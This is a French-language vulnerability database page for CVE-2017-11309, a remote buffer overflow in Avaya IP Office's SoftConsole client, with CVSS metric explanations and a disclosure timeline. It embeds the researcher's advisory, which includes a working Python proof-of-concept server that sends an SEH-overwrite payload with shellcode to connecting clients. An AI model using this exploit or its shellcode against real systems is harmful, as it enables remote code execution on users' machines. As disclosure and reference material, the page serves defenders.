CVE-2017-11309 : Détail

CVE-2017-11309

9.6
/
Critique
Overflow
7.85%V3
Network
2017-11-09
18h00 +00:00
2017-11-09
17h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Buffer overflow in the SoftConsole client in Avaya IP Office before 10.1.1 allows remote servers to execute arbitrary code via a long response.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 9.6 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 43121

Date de publication : 2017-11-04 23h00 +00:00
Auteur : hyp3rlinx
EDB Vérifié : No

[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/AVAYA-OFFICE-IP-(IPO)-v9.1.0-10.1-SOFT-CONSOLE-REMOTE-BUFFER-OVERFLOW-0DAY.txt [+] ISR: apparitionSec Vendor: ============= www.avaya.com Product: =========== Avaya IP Office (IPO) v9.1.0 - 10.1 IP Office is Avaya's global midsize solution for enterprises, supporting up to 3,000 users at a single location with IP Office Select editions. For businesses with multiple locations, IP Office provides a powerful set of tools to help streamline operations, centralize management, and reduce total cost of ownership for converged networks. Using industry standards, IP Office enables companies to share resources, provide improved customer service, and keep mobile employees accessible. Provides a hybrid PBX with TDM and IP telephony and trunk support. Provides IP routing, switching and firewall protection, between LAN and WAN (LAN2). In addition to basic telephony services and voicemail, IP Office offers both hard phone and soft phone options. Includes a robust set of tools for administration (Manager), call tracking (SMDR), and system monitoring and diagnostics (System Status Application). Available editions: Basic, Essential, Preferred, Server, Server Select, Server with Virtualized Software, Server/Sever Select hosted in the Cloud. Vulnerability Type: =================== Remote Buffer Overflow CVE Reference: ============== CVE-2017-11309 ASA-2017-307 Security Issue: ================ SoftConsole.exe does not check bounds when reading server response on making an outbound connection, resulting in a classic Buffer Overflow exploit. Avaya IP Office user must connect to a malicious server where a remote attacker can then deliver the buffer overflow payload in the server response, exploiting the SoftConsole client. This vulnerability allows attackers to deliver and execute arbitrary attacker supplied code on the Avaya host system. References: =========== https://downloads.avaya.com/css/P8/documents/101044086 POC Video URL: ============== https://vimeo.com/224679849 Exploit/POC: ============= import struct,socket #Log data, item 8 # Address=50E083A1 # Message= 0x50e083a1 : pop ecx # pop ebp # ret 0x04 | {PAGE_EXECUTE_READ} [IndyCore190.bpl] # ASLR: False, Rebase: False, SafeSEH: False, OS: False, v19.0.14356.6604 #(C:\Program Files (x86)\Avaya\IP Office\SoftConsole\IndyCore190.bpl) #50E083A1 #POP ECX POP EBP RET ''' No SafeSEH ''' HOST="127.0.0.1" PORT=80 #shellcode to call wusa.exe Windows Update Standalone Installer (Tested Win 7) sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x6E\x08" "\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B\x4B\x18\x8B\x7B" "\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31\xC0\x99\x32\x17\x66\xC1" "\xCA\x01\xAE\x75\xF7\x66\x81\xFA\x10\xF5\xE0\xE2\x75\xCF\x8B\x53" "\x24\x01\xEA\x0F\xB7\x14\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68" "\x2E\x65\x78\x65\x68\x77\x75\x73\x61\x54\x87\x04\x24\x50\xFF\xD5" "\xCC") ''' calculated by taking the negative of the number and convert to hex: in gdb 1 2 p/x -1116 $4 = 0xfffffba4 So now we know that our near jump is going to be \xe9\xa4\xfb\xff\xff. ''' seh=struct.pack("<L", 0x50E149FD) #POP ECX POP EBP RET #payload="A"*564+"BBBBRRRR"+"A"*232 #control SEH here #(gdb) p/x -112 #$1 = 0xffffff90 negjmp="\xeb\x90\xff\xff" payload="A"*452+"\x90"*10+sc+"A"*5+negjmp+seh+"\x90"*226 s = socket.socket() host = '' s.bind((HOST, PORT)) s.listen(5) print 'Avaya IP Office SoftConsole 9.1.0' print '0day Remote Buffer Overflow Exploit' print 'Discovery / exploit: hyp3rlinx\n' print 'Listening on port 80 for Avaya client connectionz...' while True: conn, addr = s.accept() conn.send(payload+'\r\n') print 'KABOOM!!!' conn.close() s.close() Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ============================= Vendor Notification: July 7, 2017 Vendor reply "under investigation" : July 7, 2017 Vendor acknowledgement of issue : July 12, 2017 CVE assigned by mitre: July 13, 2017 Vendor advisory: November 4, 2017 November 5, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx

Products Mentioned

Configuraton 0

Avaya>>Ip_office >> Version To (excluding) 10.1.1

Références

http://www.securityfocus.com/bid/101674
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/43121/
Tags : exploit, x_refsource_EXPLOIT-DB